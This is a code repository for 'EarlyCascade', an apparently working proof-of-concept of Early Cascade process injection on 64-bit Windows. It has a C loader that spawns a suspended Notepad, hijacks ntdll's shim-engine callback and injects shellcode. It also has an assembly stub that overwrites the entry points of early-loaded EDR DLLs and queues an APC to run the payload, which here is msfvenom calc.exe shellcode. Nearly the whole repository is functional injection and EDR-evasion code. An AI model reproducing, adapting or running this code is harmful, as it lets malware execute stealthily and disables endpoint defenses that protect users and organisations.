[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2025 Abdallah Elsharif\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">EarlyCascade</h1>\n\n\n<p align=\"center\">\n  <img src=\"preview.png\" alt=\"Logo\">\n</p>\n\n> It's a modern and stealthy process injection technique was discovered by [Outflank](https://www.outflank.nl/) that involves injecting and executing code in the early stages of process creation before loading EDRs for their user mode detection measures. EarlyCascade technique forces enabling the Shim engine, allowing to hijack a Shim engine callback.\n\n## About the proof-of-concept\n1. Creating a process in suspended mode.\n2. Dynamically locating the addresses of enabling flag and callback.\n3. Remotely allocating memory for our stub and shellcode.\n4. Injecting the stub and shellcode into the target process.\n5. Force the shim engine to be enabled.\n6. Hijacking a shim engine callback.\n7. Triggering the callback by resuming the process thread.\n\nAt this point, the stub gets executed, and does the following:\n1. Disrupting the initialization of detection measures.\n2. Disabling the Shim engine to avoid crash.\n3. Queuing an Asynchronous Procedure Call (APC) that executes the shellcode later.\n\n## References\n- [Introducing Early Cascade Injection: From Windows Process Creation to Stealthy Injection](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/)\n"
  },
  {
    "path": "bintoc.rb",
    "content": "#!/usr/bin/ruby\n# Cod3d By 0xNinjaCyclone\n\nopen( \"stub.bin\", \"rb\" ) { |f|\n    print \"BYTE x64_stub[] =   \"\n    while buf = f.read( 16 )\n        print \"\\n#{ ' ' * 4 * 5 }\\\"\"\n        buf.bytes.map { |e| \n            print \"\\\\x%0.2x\" % e \n        }\n        print '\"'\n    end\n    puts ';';\n}\n"
  },
  {
    "path": "main.c",
    "content": "/*\n    Author  => Abdallah Mohamed ( 0xNinjaCyclone )\n    Email   => elsharifabdallah53@gmail.com\n    Date    => January 7, 2025 - 07:43PM\n*/\n\n\n#include <Windows.h>\n#include <stdio.h>\n\n#if !defined(_WIN64)\n#error This PoC must be compiled in x64 mode\n#endif\n\n#define TARGET_PROCESS \"Notepad.exe\"\n#define MAX_PATTERN_SIZE 0x20\n#define CHECK_IN_RANGE(dwBasePtr, dwPtr, dwSecPtr) \\\n    ( \\\n        dwPtr >= (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress) && \\\n        dwPtr <  (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress + ((PIMAGE_SECTION_HEADER) dwSecPtr)->Misc.VirtualSize) ) \n\n\ntypedef struct _CascadePattern {\n    BYTE pData[MAX_PATTERN_SIZE];\n    UINT8 un8Size;\n    UINT8 un8PcOff; // Rip - PointerToOffset\n} CascadePattern;\n\n\nBYTE x64_stub[] =   \n                    \"\\x56\\x57\\x65\\x48\\x8b\\x14\\x25\\x60\\x00\\x00\\x00\\x48\\x8b\\x52\\x18\\x48\"\n                    \"\\x8d\\x52\\x20\\x52\\x48\\x8b\\x12\\x48\\x8b\\x12\\x48\\x3b\\x14\\x24\\x0f\\x84\"\n                    \"\\x85\\x00\\x00\\x00\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x48\\x83\\xc1\"\n                    \"\\x0a\\x48\\x83\\xe1\\xf0\\x48\\x29\\xcc\\x49\\x89\\xc9\\x48\\x31\\xc9\\x48\\x31\"\n                    \"\\xc0\\x66\\xad\\x38\\xe0\\x74\\x12\\x3c\\x61\\x7d\\x06\\x3c\\x41\\x7c\\x02\\x04\"\n                    \"\\x20\\x88\\x04\\x0c\\x48\\xff\\xc1\\xeb\\xe5\\xc6\\x04\\x0c\\x00\\x48\\x89\\xe6\"\n                    \"\\xe8\\xfe\\x00\\x00\\x00\\x4c\\x01\\xcc\\x48\\xbe\\xed\\xb5\\xd3\\x22\\xb5\\xd2\"\n                    \"\\x77\\x03\\x48\\x39\\xfe\\x74\\xa0\\x48\\xbe\\x75\\xee\\x40\\x70\\x36\\xe9\\x37\"\n                    \"\\xd5\\x48\\x39\\xfe\\x74\\x91\\x48\\xbe\\x2b\\x95\\x21\\xa7\\x74\\x12\\xd7\\x02\"\n                    \"\\x48\\x39\\xfe\\x74\\x82\\xe8\\x05\\x00\\x00\\x00\\xe9\\xbc\\x00\\x00\\x00\\x58\"\n                    \"\\x48\\x89\\x42\\x30\\xe9\\x6e\\xff\\xff\\xff\\x5a\\x48\\xb8\\x11\\x11\\x11\\x11\"\n                    \"\\x11\\x11\\x11\\x11\\xc6\\x00\\x00\\x48\\x8b\\x12\\x48\\x8b\\x12\\x48\\x8b\\x52\"\n                    \"\\x20\\x48\\x31\\xc0\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\"\n                    \"\\x0f\\x85\\x83\\x00\\x00\\x00\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x01\\xd0\\x50\"\n                    \"\\x4d\\x31\\xdb\\x44\\x8b\\x58\\x20\\x49\\x01\\xd3\\x48\\x31\\xc9\\x8b\\x48\\x18\"\n                    \"\\x51\\x48\\x85\\xc9\\x74\\x69\\x48\\x31\\xf6\\x41\\x8b\\x33\\x48\\x01\\xd6\\xe8\"\n                    \"\\x5f\\x00\\x00\\x00\\x49\\x83\\xc3\\x04\\x48\\xff\\xc9\\x48\\xbe\\x38\\x22\\x61\"\n                    \"\\xd4\\x7c\\xdf\\x63\\x99\\x48\\x39\\xfe\\x75\\xd7\\x58\\xff\\xc1\\x29\\xc8\\x91\"\n                    \"\\x58\\x44\\x8b\\x58\\x24\\x49\\x01\\xd3\\x66\\x41\\x8b\\x0c\\x4b\\x44\\x8b\\x58\"\n                    \"\\x1c\\x49\\x01\\xd3\\x41\\x8b\\x04\\x8b\\x48\\x01\\xd0\\xeb\\x43\\x48\\xc7\\xc1\"\n                    \"\\xfe\\xff\\xff\\xff\\x5a\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x48\"\n                    \"\\x83\\xec\\x20\\xff\\xd0\\x48\\x83\\xc4\\x30\\x5f\\x5e\\x48\\x31\\xc0\\xc3\\x59\"\n                    \"\\x58\\xeb\\xf6\\xbf\\x05\\x15\\x00\\x00\\x48\\x31\\xc0\\xac\\x38\\xe0\\x74\\x0f\"\n                    \"\\x49\\x89\\xf8\\x48\\xc1\\xe7\\x05\\x4c\\x01\\xc7\\x48\\x01\\xc7\\xeb\\xe9\\xc3\"\n                    \"\\xe8\\xb8\\xff\\xff\\xff\";\n\n\n/* Created by msfvenom ( msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f c ) */\nBYTE x64_shellcode[] =  \"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50\"\n                        \"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\"\n                        \"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\"\n                        \"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\"\n                        \"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\"\n                        \"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\"\n                        \"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\"\n                        \"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\"\n                        \"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\"\n                        \"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\"\n                        \"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\"\n                        \"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\"\n                        \"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\"\n                        \"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\"\n                        \"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00\"\n                        \"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b\"\n                        \"\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\\xba\\xa6\\x95\\xbd\"\n                        \"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\n                        \"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff\"\n                        \"\\xd5\\x63\\x61\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00\";\n\n\n/* Stolen from -> https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html */\nLPVOID encode_system_ptr(LPVOID ptr) {\n    // get pointer cookie from SharedUserData!Cookie (0x330)\n    ULONG cookie = *(ULONG*)0x7FFE0330;\n\n    // encrypt our pointer so it'll work when written to ntdll\n    return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);\n}\n\nLPVOID find_pattern(LPBYTE pBuffer, DWORD dwSize, LPBYTE pPattern, DWORD dwPatternSize)\n{\n    if ( dwSize > dwPatternSize ) // Avoid OOB\n        while ( (dwSize--) - dwPatternSize ) {\n            if ( RtlCompareMemory(pBuffer, pPattern, dwPatternSize) == dwPatternSize )\n                return pBuffer;\n\n            pBuffer++;\n        }\n\n    return NULL;\n}\n\nLPVOID find_SE_DllLoadedAddress(HANDLE hNtDLL, LPVOID *ppOffsetAddress) {\n    DWORD dwValue;\n    DWORD_PTR dwPtr;\n    DWORD_PTR dwTextPtr;\n    DWORD_PTR dwTextEndPtr;\n    DWORD_PTR dwMRDataPtr;\n    DWORD_PTR dwResultPtr;\n    CascadePattern aPatterns[] = { /* We are searching for these patterns: */\n        {\n            /*\n                \n                8b14253003fe7f       mov     edx, dword ptr [7FFE0330h]\n                8bc2                 mov     eax, edx\n                488b3d??????00       mov     rdi, qword ptr [ntdll!g_pfnSE_DllLoaded (????????????)]\n            */\n            .pData = \"\\x8B\\x14\\x25\\x30\\x03\\xFE\\x7F\\x8B\\xC2\\x48\\x8B\\x3D\",\n            .un8Size = 0x0C,\n            .un8PcOff = 0x04\n        },\n        \n        /* Sentinel */\n        { 0x00 }\n    };\n\n    /* Nt Headers */\n    dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew;\n\n    /* Get the number of ntdll sections */\n    dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections;\n\n    /* The beginning of the section headers */\n    dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader;\n\n    while ( dwValue-- ) {\n        /* Save .text section header */\n        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, \".text\") == 0 )\n            dwTextPtr = dwPtr;\n\n        /* Find .mrdata section header */\n        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, \".mrdata\") == 0 )\n            dwMRDataPtr = dwPtr;   \n\n        /* Next section header */\n        dwPtr += sizeof(IMAGE_SECTION_HEADER);\n    }\n\n    /* Look for all specified patterns */\n    for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) {\n        /* Points to the beginning of .text section */\n        dwResultPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_SECTION_HEADER) dwTextPtr)->VirtualAddress;\n\n        /* The end of .text section */\n        dwTextEndPtr = dwResultPtr + ((PIMAGE_SECTION_HEADER) dwTextPtr)->Misc.VirtualSize;\n\n        while ( dwResultPtr = (DWORD_PTR) find_pattern((LPBYTE) dwResultPtr, dwTextEndPtr-dwResultPtr, pPattern->pData, pPattern->un8Size) ) {\n            /* Get the offset address */\n            dwResultPtr += pPattern->un8Size;\n\n            /* Ensure the validity of the opcode we rely on */\n            if ( (*(BYTE *)(dwResultPtr + 0x3)) == 0x00 ) {\n                /* Fetch the address */\n                dwPtr = (DWORD_PTR) ( *(DWORD32 *) dwResultPtr ) + dwResultPtr + pPattern->un8PcOff;\n\n                /* Is that address in the range we expect!? */\n                if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwPtr, dwMRDataPtr) ) {\n                    /* Set the offset address */\n                    if ( ppOffsetAddress )\n                        ( *ppOffsetAddress ) = (LPVOID) dwResultPtr;\n\n                    return (LPVOID) dwPtr;\n                }\n            }\n        }\n\n    }\n\n    /* Failed to find the address */\n    ( *ppOffsetAddress ) = NULL;\n\n    return NULL;\n}\n\nLPVOID find_ShimsEnabledAddress(HANDLE hNtDLL, LPVOID pDllLoadedOffsetAddress) {\n    DWORD dwValue;\n    DWORD_PTR dwPtr;\n    DWORD_PTR dwResultPtr;\n    DWORD_PTR dwEndPtr;\n    DWORD_PTR dwDataPtr;\n    CascadePattern aPatterns[] = { /* We are looking for these patterns: */\n        {\n            /*\n                c605??????0001       mov     byte ptr [ntdll!g_ShimsEnabled (????????????)], 1\n            */\n            .pData = \"\\xc6\\x05\",\n            .un8Size = 0x02,\n            .un8PcOff = 0x05\n        },\n        {\n            /*\n                443825??????00       cmp     byte ptr [ntdll!g_ShimsEnabled (????????????)], r12b\n            */\n            .pData = \"\\x44\\x38\\x25\",\n            .un8Size = 0x03,\n            .un8PcOff = 0x04\n        },\n        \n        /* Sentinel */\n        { 0x00 }\n    };\n\n    /* Nt Headers */\n    dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew;\n\n    /* Get the number of ntdll sections */\n    dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections;\n\n    /* The beginning of the section headers */\n    dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader;\n\n    while ( dwValue-- ) {\n        /* Find .data section header */\n        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, \".data\") == 0 ) {\n            dwDataPtr = dwPtr;   \n            break; \n        } \n\n        /* Next section header */\n        dwPtr += sizeof(IMAGE_SECTION_HEADER);\n    }\n\n    /* Look for all specified patterns */\n    for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) {\n        /* Searching from the address where we found the offset of SE_DllLoadedAddress */\n        dwPtr = dwEndPtr = (DWORD_PTR) pDllLoadedOffsetAddress;\n\n        /* Also take a look in the place just before this address */\n        dwPtr -= 0xFF;\n\n        /* End of block we are searching in */\n        dwEndPtr += 0xFF;\n        \n        while ( dwPtr = (DWORD_PTR) find_pattern((LPBYTE)dwPtr, dwEndPtr-dwPtr, pPattern->pData, pPattern->un8Size) ) {\n            /* Jump into the offset */\n            dwPtr += pPattern->un8Size;\n            \n            /* Ensure the validity of the opcode we rely on */\n            if ( (*(BYTE *)(dwPtr + 0x3)) == 0x00 ) {\n                /* Fetch the address */\n                dwResultPtr = (DWORD_PTR) ( *(DWORD32 *) dwPtr ) + dwPtr + pPattern->un8PcOff;   \n\n                /* Is that address in the range we expect!? */\n                if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwResultPtr, dwDataPtr) )\n                    return (LPVOID) dwResultPtr;\n            }\n        }\n    }\n\n    return NULL;\n}\n\nint main(int argc, char **argv) {\n    HANDLE hNtDLL;\n    PROCESS_INFORMATION pi = { 0 };\n    STARTUPINFOA si = { 0 };\n    LPVOID pBuffer;\n    LPVOID pShimsEnabledAddress;\n    LPVOID pSE_DllLoadedAddress;\n    LPVOID pPtr;\n    int nSuccess = EXIT_FAILURE;\n    BOOL bEnable = TRUE;\n    BOOL bIsWow64 = FALSE;\n\n    puts(\n\n        \"\\n\"                                               \n        \"              (        (                     (                \\n\"\n        \" (      ) (   )\\\\(      )\\\\     )           )  )\\\\ )  (       \\n\"\n        \" )\\\\  ( /( )( ((_)\\\\ ) (((_) ( /( (   (  ( /( (()/( ))\\\\      \\n\"\n        \"((_) )(_)|()\\\\ _(()/( )\\\\___ )(_)))\\\\  )\\\\ )(_)) ((_))((_)    \\n\"\n        \"| __((_)_ ((_) |)(_)|(/ __((_)_((_)((_|(_)_  _| (_))          \\n\"\n        \"| _|/ _` | '_| | || || (__/ _` (_-< _|/ _` / _` / -_)         \\n\"\n        \"|___\\\\__,_|_| |_|\\\\_, | \\\\___\\\\__,_/__|__|\\\\__,_\\\\__,_\\\\___|  \\n\"\n        \"                |__/                                          \\n\"\n        \"                      By  =>  @0xNinjaCyclone                 \\n\"\n        \"\\n\"\n\n    );\n\n    si.cb = sizeof( STARTUPINFOA );\n        \n    printf(\"[*] Create a process in suspended mode ( %s )\\n\", TARGET_PROCESS);\n\n    if ( !CreateProcessA(\n        NULL, \n        TARGET_PROCESS, \n        NULL, \n        NULL, \n        FALSE, \n        CREATE_SUSPENDED, \n        NULL, \n        NULL, \n        &si, \n        &pi\n    ) )\n        return nSuccess;\n\n    puts( \"[+] The process has been created successfully\" );\n\n    puts( \"[*] Getting a handle on NtDLL\" );\n    hNtDLL = GetModuleHandleA( \"NtDLL\" );\n    printf( \"[+] NtDLL Base Address = 0x%p\\n\", hNtDLL );\n\n\n    do {\n\n        /* Check if the target process is not 64bit (May someone sets TARGET_PROCESS to a wow64 process) */\n        if ( IsWow64Process(pi.hProcess, &bIsWow64) && bIsWow64 ) {\n            puts( \"[-] This PoC targets x64 processes only\" );\n            break;\n        }\n\n        puts( \"[*] Dynamically Search for the Callback Pointer Address ( g_pfnSE_DllLoaded )\");\n        if ( !(pSE_DllLoadedAddress = find_SE_DllLoadedAddress(hNtDLL, &pPtr)) )\n            break;\n\n        printf( \"[+] Found the Callback Address at 0x%p\\n\", pSE_DllLoadedAddress );\n\n        puts( \"[*] Dynamically Search for the Enabling Flag Address ( g_ShimsEnabled )\");\n        if ( !(pShimsEnabledAddress = find_ShimsEnabledAddress(hNtDLL, pPtr)) )\n            break;\n\n        printf( \"[+] Found the Enabling Flag Address at 0x%p\\n\", pShimsEnabledAddress );\n\n        puts( \"[*] Remotely allocate memory for both stub & shellcode\" );\n        if ( !(pBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(x64_stub) + sizeof(x64_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) )\n            break;\n\n        /* Shellcode address */\n        pPtr = (LPVOID)( (DWORD_PTR) pBuffer + sizeof(x64_stub) );\n\n        printf( \"[+] Our stub will be injected at 0x%p\\n\", pBuffer );\n        printf( \"[+] Our shellcode will be injected at 0x%p\\n\", pPtr );\n\n        /* Tell the stub where the enabling flag is located */\n        RtlCopyMemory( find_pattern(x64_stub, sizeof(x64_stub), \"\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\", 8), &pShimsEnabledAddress, sizeof(LPVOID) );\n\n        puts( \"[*] Injecting our cascade stub\" );\n        if ( !WriteProcessMemory(pi.hProcess, pBuffer, x64_stub, sizeof(x64_stub), NULL) )\n            break;\n\n        puts( \"[+] Our stub has been successfully injected into the remote process\" );\n\n        puts( \"[*] Injecting our Shellcode\" );\n        if ( !WriteProcessMemory(pi.hProcess, pPtr, x64_shellcode, sizeof(x64_shellcode), NULL) )\n            break;\n\n        puts( \"[+] Our Shellcode has been successfully injected into the remote process\" );\n\n        pPtr = encode_system_ptr((LPVOID) pBuffer);\n        printf( \"[*] The Callback Address has been encoded to 0x%p\\n\", pPtr );\n\n        puts (\"[*] Hijacking the Callback for making it executes our stub\" );\n        if ( !WriteProcessMemory(pi.hProcess, pSE_DllLoadedAddress, (LPCVOID) &pPtr, sizeof(LPVOID), NULL) )\n            break;\n\n        puts( \"[+] Hijacking has been done successfully\" );\n\n        puts( \"[*] Enabling Shim Engine for triggering our stub later\" );\n        if ( !WriteProcessMemory(pi.hProcess, pShimsEnabledAddress, (LPCVOID) &bEnable, sizeof(BOOL), NULL) )\n            break;\n\n        puts( \"[+] Shim Engine is enabled now\" );\n        \n        puts( \"[*] Triggering the callback\" );\n        if ( !ResumeThread(pi.hThread) )\n            break;\n\n        puts( \"[+] Injection has been done successfully\" );\n        nSuccess = EXIT_SUCCESS;\n\n    } while( FALSE );\n\n    if ( nSuccess == EXIT_FAILURE ) {\n        puts( \"[-] Unfortunately, failed to cascade the process!\" );\n\n        if ( pi.hProcess )\n            TerminateProcess( pi.hProcess, EXIT_FAILURE );\n\n        puts( \"[*] Target process has terminated\" );\n    }\n\n    puts( \"[*] Cleaning up\" );\n    if ( pi.hThread )\n        CloseHandle( pi.hThread );\n\n    if ( pi.hProcess )\n        CloseHandle( pi.hProcess );\n\n    return nSuccess;\n}\n"
  },
  {
    "path": "stub.asm",
    "content": ";-------------------------------------------------------;\n;   Author  => Abdallah Mohamed ( 0xNinjaCyclone )      ;\n;   Email   => elsharifabdallah53@gmail.com             ;\n;   Date    => January 7, 2025                          ;\n;   Compile => nasm -f bin -O3 -o stub.bin stub.asm     ;\n;-------------------------------------------------------;\n\n\n[BITS 64]\n\ncascade:\n    push rsi                            ; Save the source register\n    push rdi                            ; Save the dest register\n    mov rdx, qword gs:[60h]             ; Getting Process Environment Block Address ( PPEB )\n    mov rdx, qword [rdx+18h]            ; Fetching the Loader data address ( PPEB->Ldr )\n    lea rdx, qword [rdx+20h]            ; Load MemoryOrderList Address\n    push rdx                            ; Pushing it onto stack\n    mov rdx, qword [rdx]                ; We are skipping the main module\n\npreempt_edr:\n    mov rdx, qword [rdx]                ; Next module\n    cmp rdx, qword [rsp]                ; Check if we've done a full circuit round\n    je preempt_done\n    mov rsi, qword [rdx+50h]            ; Current DLL name\n    movzx rcx, word [rdx+4Ah]           ; Length of DLL name\n    add rcx, 0ah                        ; For f*cking NUL & Alignment\n    and rcx, 0FFFFFFFFFFFFFFF0h         ; Ensuring alignment\n    sub rsp, rcx                        ; Momory for the ANSI version\n    mov r9, rcx                         ; Save the size of reserved memory\n    xor rcx, rcx                        ; Clear the counter\n\nadjust_name:\n    xor rax, rax                        ; Clear the buffer\n    lodsw                               ; We need to read as word \n    cmp al, ah                          ; Is that a NUL?\n    jz hunt_edr                         ; We are ready!\n    cmp al, 61h                         ; Hashes calculated in lower case, so we have to check\n    jge str_lower                       ; Current char looks like in upper case? \n    cmp al, 41h                         ; Maybe a dot or something else (ensure that)\n    jl str_lower                        ; Yep, we should not pay attention to it\n    add al, 20h                         ; Nope?, convert it. \n\nstr_lower:\n    mov byte [rsp+rcx], al              ; Write the character into the buffer\n    inc rcx                             ; Increamenting the counter\n    jmp adjust_name                     ; Keep adjusting\n\nhunt_edr:\n    mov byte [rsp+rcx], 0               ; Mark the end of the string\n    mov rsi, rsp                        ; Now, rsi is a pointer to the ANSI string\n    call str_hash                       ; Compute the hash\n    add rsp, r9                         ; We don't need that string anymore \n    mov rsi, 377D2B522D3B5EDh           ; hashing result of \"ntdll.dll\"\n    cmp rsi, rdi                        ; Check if current module is NtDLL \n    je preempt_edr                      ; Yes?, that's allowed\n    mov rsi, 0D537E9367040EE75h         ; hashing result of \"kernel32.dll\"\n    cmp rsi, rdi                        \n    je preempt_edr\n    mov rsi, 2D71274A721952Bh           ; hashing result of \"kernelbase.dll\"\n    cmp rsi, rdi\n    je preempt_edr\n\n    ; EDR Tools wanna mess with us, let's hijacking it!\n    call edr_clobbering\n    jmp just_return_zero\n\nedr_clobbering: ; No other modules supposed to be loaded that early\n    pop rax                             ; Own procedure for redirecting EDRs to\n    mov qword [rdx+30h], rax            ; Kicking EDRs entrypoints off\n    jmp preempt_edr                     ; Don't stop until clobbering all\n\npreempt_done:\n    pop rdx                             ; Restore the MemoryOrderList\n    mov rax, 1111111111111111h          ; Pointer to g_ShimsEnabled flag\n    mov byte [rax], 0h                  ; Disable Shim Engine\n    mov rdx, qword [rdx]                ; We points now to the main entry\n    mov rdx, qword [rdx]                ; Jump into the entry of NtDLL\n    mov rdx, qword [rdx+20h]            ; NtDLL Base Address\n    xor rax, rax                        ; Clear the accumulator register\n    mov eax, dword [rdx+3Ch]            ; Getting Image NT Headers RVA\n    add rax, rdx                        ; Jump into the Image NT Headers\n    cmp word [rax+0x18], 020Bh          ; Checking \"Machine\" member in the File Header\n    jne finish\n    mov eax, dword [rax+88h]            ; Getting Export Tables RVA from Data Directory Table\n    add rax, rdx                        ; Jump into there\n    push rax                            ; Save Export Tables Address\n    xor r11, r11                        ; Clear the register\n    mov r11d, dword [rax+20h]           ; Export Name Table RVA ( ENT )\n    add r11, rdx                        ; Jump into there\n    xor rcx, rcx                        ; Clear the counter register\n    mov ecx, dword [rax+18h]            ; Number of functions\n    push rcx                            ; Save the number of functions to be used later\n\nfind_queueapc_api:\n    test rcx, rcx                       ; Check the end of the table\n    jz api_notfound                     ; We f*cked up, \"NtQueueApcThread\" cannot be found!\n    xor rsi, rsi                        ; Clear the source\n    mov esi, dword [r11]                ; Looking up the ENT\n    add rsi, rdx                        ; Getting a pointer to the function name\n    call str_hash                       ; Calculating the hash of current function name\n\ncheck_function:\n    add r11, 4h                         ; Jump into the next entry in the table\n    dec rcx                             ; Decrement our counter\n    mov rsi, 9963DF7CD4612238h          ; DJB2 Hash of \"NtQueueApcThread\"\n    cmp rsi, rdi                        ; Compare with the API we search for\n    jne find_queueapc_api\n    pop rax                             ; Restoring the number of functions\n    inc ecx                             ; We need to make the ecx equal to the remaining exports+1\n    sub eax, ecx                        ; Calculating the desired ordinal index\n    xchg eax, ecx                       ; Just toggling\n    pop rax                             ; Restoring the Export Tables Address\n    mov r11d, dword [rax+24h]           ; Export Ordinal Table RVA \n    add r11, rdx                        ; Jump into there \n    mov cx, word [r11+2h*rcx]           ; Fetching the ordinal\n    mov r11d, dword [rax+1ch]           ; Export Address Table RVA ( EAT )\n    add r11, rdx                        ; Jump into there \n    mov eax, dword [r11+4h*rcx]         ; Fetching the function RVA\n    add rax, rdx                        ; Finally, we have the API Address\n    jmp shellcode\n\nfire:\n    mov rcx, -2                         ; ThreadHandle ( Current thread )\n    pop rdx                             ; ApcRoutine ( Shellcode address )\n    xor r8, r8                          ; ApcRoutineContext ( NULL )\n    xor r9, r9                          ; ApcStatusBlock ( NULL )\n    push r9                             ; ApcReserved ( NULL )\n    push r9                             ; Alignment\n    sub rsp, 20h                        ; Reserve ( sizeof(QWORD) * 4 )\n    call rax                            ; Invoke \"NtQueueApcThread\"\n    add rsp, 30h                        ; Clear off the stack\n\nfinish:\n    pop rdi\n    pop rsi\n\njust_return_zero:\n    xor rax, rax\n    ret\n\napi_notfound:\n    pop rcx\n    pop rax\n    jmp finish\n\nstr_hash:\n    mov rdi, 5381                       ; DJB2 Magic\n\ncompute_hash: ; DJB2 Hashing Algorithm\n    xor rax, rax                        ; rax is utilized to reads the string\n    lodsb                               ; Fetch a charecter\n    cmp al, ah                          ; End of the string!?\n    je hash_computed                    ; Don3, go back to the caller\n    mov r8, rdi                         ; Save the computed value\n    shl rdi, 5                          ; Value << 5\n    add rdi, r8                         ; Value += OldValue\n    add rdi, rax                        ; Value += ASCII(c)\n    jmp compute_hash\n\nhash_computed:\n    ret\n\nshellcode:\n    call fire\n"
  }
]